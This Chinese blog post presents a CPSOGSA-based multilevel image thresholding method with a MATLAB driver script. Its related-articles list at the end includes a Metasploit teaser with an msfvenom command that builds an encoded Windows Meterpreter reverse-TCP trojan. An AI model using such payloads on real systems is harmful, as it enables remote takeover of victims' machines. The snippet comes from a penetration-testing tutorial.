【图像处理】基于收缩系数的粒子群优化和引力搜索算法的多级图像阈值研究【CPSOGSA】(Matlab代码实现)
💥💥💞💞欢迎来到本博客❤️❤️💥💥
🏆博主优势:🌞🌞🌞博客内容尽量做到思维缜密,逻辑清晰,为了方便读者。
⛳️座右铭:行百里者,半于九十。
📋📋📋本文目录如下:🎁🎁🎁
目录
💥1 概述
📚2 运行结果
🎉3 参考文献
🌈4 Matlab代码及文献
💥1 概述
文献来源:

图像分割(IS)是图像处理和计算机视觉中必不可少的过程。它将图像划分为许多区域和像素。换句话说,IS简化了图像的特征。多年来,已经提出了许多IS方法,包括边缘检测(ED;Papari & Petkov, 2011)、阈值(Otsu, 1979)等等。然而,由于其简单的设计和鲁棒性,阈值化被广泛使用IS技术(Oliva等人,2014)。
基本上,阈值处理图像的归一化,并根据灰度强度值将其分成更小的片段。实际上,阈值分为两级阈值和多级阈值(MT)。前者通过仅考虑一个阈值 (k) 值将图像分为两类。另一方面,机器翻译需要两个以上的阈值,并将图像的像素分成多个类。
图像分割是图像处理中的关键步骤之一。实际上,它处理根据像素强度将图像划分为不同的类。本工作介绍了一种新的基于收缩系数的粒子群优化和引力搜索算法(CPSOGSA)的图像分割方法。图像的随机样本充当CPSOGSA算法的搜索代理。最佳阈值数是使用 Kapur 熵法确定的。CPSOGSA在图像分割中的有效性和适用性是通过将其应用于USC-SIPI图像数据库中的五个标准图像来实现的,即飞机,摄影师,时钟,莉娜和海盗。采用各种性能指标来研究仿真结果,包括最佳阈值、标准差、MSE(均方误差)、运行时间分析、PSNR(峰值信噪比)、最佳适应度值计算、收敛图、分割图像图和箱形图分析。此外,图像精度是利用SSIM(结构相似性指数度量)和FSIM(特征相似性指数度量)指标进行基准测试的。此外,还利用成对非参数符号Wilcoxon秩和检验对仿真结果进行统计验证。
本工作介绍了一种新的基于收缩系数的粒子群优化和引力搜索算法(CPSOGSA)的图像分割方法。图像的随机样本充当CPSOGSA算法的搜索代理。最佳阈值数是使用 Kapur 熵法确定的。CPSOGSA在图像分割中的有效性和适用性是通过将其应用于USC-SIPI图像数据库中的五个标准图像来实现的。
📚2 运行结果







部分代码:
% Parameter initialization
I = imread('Aeroplane.tiff');
% I = imread('Cameraman.tiff');
level = 5; %% Threshold = level-1
%
N_PAR = level; %number of thresholds (number of levels-1) (dimensiones)
dim = N_PAR;
%
n = 15; % Size of the swarm " no of objects " %%% Default (n = 15)
Max_Iteration = 300; % Maximum number of "iterations" %%% Default (Max_Iteration = 300)
%
if size(I,3) == 1 %grayscale image
[n_countR, x_valueR] = imhist(I(:,:,1));
end
Nt = size(I,1) * size(I,2);
% % Lmax indicated color segments 0 - 256
Lmax = 256; %256 different maximum levels are considered in an image (i.e., 0 to 255)
for i = 1:Lmax
if size(I,3) == 1
%grayscale image
probR(i) = n_countR(i) / Nt;
end
end
if size(I,3) == 1
up = ones(n,dim) * Lmax;
low = ones(n,dim);
end
tic
RunNo = 1;
for k = [ 1 : RunNo ]
[CPSOGSA_bestit,CPSOGSA_bestF,CPSOGSA_Fit_bests]= CPSOGSA(I, Lmax, n,Max_Iteration,low,up,dim, level, probR);
BestSolutions1(k) = CPSOGSA_bestF;
disp(['Run # ' , num2str(k),'::' 'Best estimates =',num2str(CPSOGSA_bestit)]); % CPSOGSA
end
% /* Boxplot Analysis */
figure
boxplot([BestSolutions1'],{'CPSOGSA'});
color = [([1 0 0])];
h = findobj(gca,'Tag','Box');
for j=1:length(h)
patch(get(h(j),'XData'),get(h(j),'YData'),color(j));
end
title ('\fontsize{15}\bf Aeroplane (k=2)');
% % title ('\fontsize{15}\bf Cameraman (k=2)');
xlabel('\fontsize{15}\bf Algorithms');
ylabel('\fontsize{15}\bf Best Fitness Values');
box on
% % %
% /* Graphical Analysis*/
figure
plot(CPSOGSA_Fit_bests,'DisplayName','CPSOGSA','Color','b','LineStyle','-','LineWidth',3);
disp( ['Time_CPSOGSA =', num2str(toc)]);
title ('\fontsize{15}\bf Aeroplane (k=2)'); % k=2,4,6,8,10
% % title ('\fontsize{15}\bf Cameraman (k=2)');
xlabel('\fontsize{15}\bf Iterations');
ylabel('\fontsize{15}\bf Fitness values');
legend('\fontsize{12}\bf CPSOGSA');
%
%
gBestR = sort(CPSOGSA_bestit);
Iout = imageGRAY(I,gBestR);
Iout2 = mat2gray(Iout);
% % Show results on images
figure
imshow(Iout)
figure
imshow(I)
% % Show results
intensity = gBestR(1:dim-1);
STDR = std(CPSOGSA_Fit_bests) %Standard deviation of fitness values
MSEV = MSE(I, Iout) %Mean Square Error
PSNRV = PSNR(I, Iout) %PSNR between original image I and the segmented image Iout
SSIMV = ssim (I, Iout) %SSIM Quality Measure
FSIMV = FeatureSIM (I, Iout) %FSIM Quality Measure
Best_Fitness_Value= CPSOGSA_Fit_bests(k) %Best fitness
🎉3 参考文献
部分理论来源于网络,如有侵权请联系删除。

🌈4 Matlab代码及文献
相关文章:
【图像处理】基于收缩系数的粒子群优化和引力搜索算法的多级图像阈值研究【CPSOGSA】(Matlab代码实现)
💥💥💞💞欢迎来到本博客❤️❤️💥💥 🏆博主优势:🌞🌞🌞博客内容尽量做到思维缜密,逻辑清晰,为了方便读者。 ⛳️座右铭&a…...
PortSwigger web缓存中毒(Cache Poisoning)
一、什么web缓存中毒? Web缓存中毒(Web Cache Poisoning)是一种攻击技术,攻击者通过操纵Web应用程序的缓存系统,将恶意或欺骗性内容注入到合法的缓存中,以欺骗用户或绕过安全控制。 Web缓存中毒的原理是利用…...
msf渗透练习-生成木马控制window系统
说明: 本章内容,仅供学习,不要用于非法用途(做个好白帽) (一)生成木马 命令: msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.23.46 LPORT4444 -e x86/shikata_ga_nai -…...
【c++】组合类+继承情况下构造顺序
组合类继承情况下构造顺序 构造顺序同普通继承,先父后子,内部类是最老的(最先调用构造的)。 示例代码 class A { public:A(int a 0):_a(a){cout << "A()" << endl;}~A(){cout << "~A()" …...
盛元广通生物化学重点实验室化学品信息化安全管理系统
生物化学重点实验室是国家基础研究和高技术研究的重要基地,是培养和造就高层次创新型人才的重要基地。为保障实验室化学品安全使用,实验人员可通过现场或移动端管理系统实现化学品安全使用与存储。盛元广通生物化学重点实验室化学品信息化安全管理系统具…...
1.知识积累
(1)build_chain.sh 脚本: build_chain.sh 脚本是 FISCO BCOS 提供的一个工具脚本,用于自动化构建 FISCO BCOS 联盟链。它可以帮助您快速搭建和配置多节点的区块链网络。 具体而言,build_chain.sh 脚本的作用包括以下…...
20230612----重返学习-函数式编程-数据类型检测-网络层优化
day-090-ninety-20230612-函数式编程-数据类型检测-网络层优化 函数式编程 函数式编程 && 命令式编程 函数式编程:把具体的操作过程“封装”到一个函数中,我们无需关注内部是如何处理的(How),只需要关注处理的结果(What)即可; // 如果是依次迭代数组每一项,…...
Java实现删除txt第一行
如果您的文件很大,则可以使用以下方法在不使用临时文件或将所有内容加载到内存中的情况下执行删除. public static void removeFirstLine(String fileName) throws IOException { RandomAccessFile raf new RandomAccessFile(fileName, "rw"); …...
Go语言函数式编程库samber/lo
Go语言函数式编程库samber/lo 开发中,我们经常遇到一些操作,比如获取一个map的所有key,所有value,判断一个字符串是否出现在slice 中,slice中是否有重复元素等等。Go语言没有这样的操作,标准库也不提供。…...
自定义杰理AC63系列BLE数据发送函数
自定义BLE数据发送函数,就是将数据发送、数据发送前的检查、以及conn_handle查询等封装在一起,脱离SDK中的相关回调函数,在程序任意位置实现发送数据功能。 1. SDK中的BLE数据发送函数 BLE的数据发送函数定义在apps\common\third_party_pro…...
Jenkins结合gitee自动化部署SpringBoot项目
安装 安装教程 插件选择 Gitee Plugin 配置 源码管理 填写源码地址 注意:请确保genkins所在的服务器有权限git拉取远程仓库代码,如果不可以请参考ssh配置centos 配置ssh拉取远程git代码 源码管理 构建触发器 1.勾选Gitee webhook 触发构建 2.生成we…...
声强级和声压级之间的转换举例
声强级和声压级之间的转换举例 在学习声学时候,经常会遇到声强级和声压级的概念,而且它们的单位都是分贝(dB),很容易混淆这两个概念。而且,更容易在计算时候,不知如何转换,如何使用,本文将举例说明两者之间…...
16 粒子滤波
文章目录 16 粒子滤波16.1 背景介绍16.1.1 Particle Filter是什么?16.1.2 Patricle Filter的状态如何转移?16.1.3 如何通过采样求解Particle Filter 16.2 重要性采样16.2.1 重要性采样方法16.2.2 Sequential Importance Sampling16.2.3 Resampling16.2.4…...
【appium】appium自动化入门之API(下)——两万字API长文,建议收藏
目录 Appium API 前言 1.contexts (返回当前会话中的上下文,使用后可以识别 H5 页面的控件) 2.current_context (返回当前会话的当前上下文 ) 3. context (返回当前会话的当前上下文) 4.find_e…...
开发改了接口,经常忘通知测试的解决方案!
目录 前言: Apifox解决方案 Apifox对此给出的解决方案是: 用Apifox怎么处理接口变更 接口代码实现逻辑修改 接口参数修改 前言: 在开发过程中,接口变动十分频繁,测试人员没有及时获得相关通知的情况也很普遍。这…...
Beyond Compare 4 无法打开
解决办法: 1.修改注册表。WINR呼出开始菜单,在搜索栏中输入 regedit,点击确定。 2.删除项目:\HKEY_CURRENT_USER\Software\ScooterSoftware\Beyond Compare 4\CacheId 根据这个路径找到cacheid 右击删除掉就可以...
MySQL高级数据操作
✅作者简介:热爱Java后端开发的一名学习者,大家可以跟我一起讨论各种问题喔。 🍎个人主页:Hhzzy99 🍊个人信条:坚持就是胜利! 💞当前专栏:MySQL 🥭本文内容&a…...
硬件设计电源系列文章-DCDC转换器基础知识
文章目录 概要整体架构流程技术名词解释技术细节小结 概要 提示:这里可以添加技术概要 本文主要接着上篇,上篇文章主要讲述了LDO的相关基础知识,本节开始分享DCDC基础知识 整体架构流程 提示:这里可以添加技术整体架构 以下是…...
XdsObjects .NET 8.45.1001.0 Crack
XdsObjects 是一个工具包,允许开发人员使用 IHE XDS 和 XDS-I 配置文件开发应用程序,只需花费最少的时间和精力,因为遵守配置文件和 ebXML 规则的所有艰苦工作都由该工具包处理。 它为所有角色提供客户端和服务器支持,包括&#…...
数据安全--17--数据安全管理之数据传输
本博客地址:https://security.blog.csdn.net/article/details/131061729 一、数据传输概述 数据传输有两个主体,一个是数据发送方,另一个是数据接收方。数据在通过不可信或者较低安全性的网络进行传输时,容易发生数据被窃取、伪…...
(LeetCode 每日一题) 3442. 奇偶频次间的最大差值 I (哈希、字符串)
题目:3442. 奇偶频次间的最大差值 I 思路 :哈希,时间复杂度0(n)。 用哈希表来记录每个字符串中字符的分布情况,哈希表这里用数组即可实现。 C版本: class Solution { public:int maxDifference(string s) {int a[26]…...
IGP(Interior Gateway Protocol,内部网关协议)
IGP(Interior Gateway Protocol,内部网关协议) 是一种用于在一个自治系统(AS)内部传递路由信息的路由协议,主要用于在一个组织或机构的内部网络中决定数据包的最佳路径。与用于自治系统之间通信的 EGP&…...
Leetcode 3577. Count the Number of Computer Unlocking Permutations
Leetcode 3577. Count the Number of Computer Unlocking Permutations 1. 解题思路2. 代码实现 题目链接:3577. Count the Number of Computer Unlocking Permutations 1. 解题思路 这一题其实就是一个脑筋急转弯,要想要能够将所有的电脑解锁&#x…...
OpenLayers 分屏对比(地图联动)
注:当前使用的是 ol 5.3.0 版本,天地图使用的key请到天地图官网申请,并替换为自己的key 地图分屏对比在WebGIS开发中是很常见的功能,和卷帘图层不一样的是,分屏对比是在各个地图中添加相同或者不同的图层进行对比查看。…...
实战设计模式之模板方法模式
概述 模板方法模式定义了一个操作中的算法骨架,并将某些步骤延迟到子类中实现。模板方法使得子类可以在不改变算法结构的前提下,重新定义算法中的某些步骤。简单来说,就是在一个方法中定义了要执行的步骤顺序或算法框架,但允许子类…...
绕过 Xcode?使用 Appuploader和主流工具实现 iOS 上架自动化
iOS 应用的发布流程一直是开发链路中最“苹果味”的环节:强依赖 Xcode、必须使用 macOS、各种证书和描述文件配置……对很多跨平台开发者来说,这一套流程并不友好。 特别是当你的项目主要在 Windows 或 Linux 下开发(例如 Flutter、React Na…...
python读取SQLite表个并生成pdf文件
代码用于创建含50列的SQLite数据库并插入500行随机浮点数据,随后读取数据,通过ReportLab生成横向PDF表格,包含格式化(两位小数)及表头、网格线等美观样式。 # 导入所需库 import sqlite3 # 用于操作…...
初探用uniapp写微信小程序遇到的问题及解决(vue3+ts)
零、关于开发思路 (一)拿到工作任务,先理清楚需求 1.逻辑部分 不放过原型里说的每一句话,有疑惑的部分该问产品/测试/之前的开发就问 2.页面部分(含国际化) 整体看过需要开发页面的原型后,分类一下哪些组件/样式可以复用,直接提取出来使用 (时间充分的前提下,不…...
SpringCloud优势
目录 完善的微服务支持 高可用性和容错性 灵活的配置管理 强大的服务网关 分布式追踪能力 丰富的社区生态 易于与其他技术栈集成 完善的微服务支持 Spring Cloud 提供了一整套工具和组件来支持微服务架构的开发,包括服务注册与发现、负载均衡、断路器、配置管理等功能…...
Python爬虫(四):PyQuery 框架
PyQuery 框架详解与对比 BeautifulSoup 第一部分:PyQuery 框架介绍 1. PyQuery 是什么? PyQuery 是一个 Python 的 HTML/XML 解析库,它采用了 jQuery 的语法风格,让开发者能够用类似前端 jQuery 的方式处理文档解析。它的核心特…...

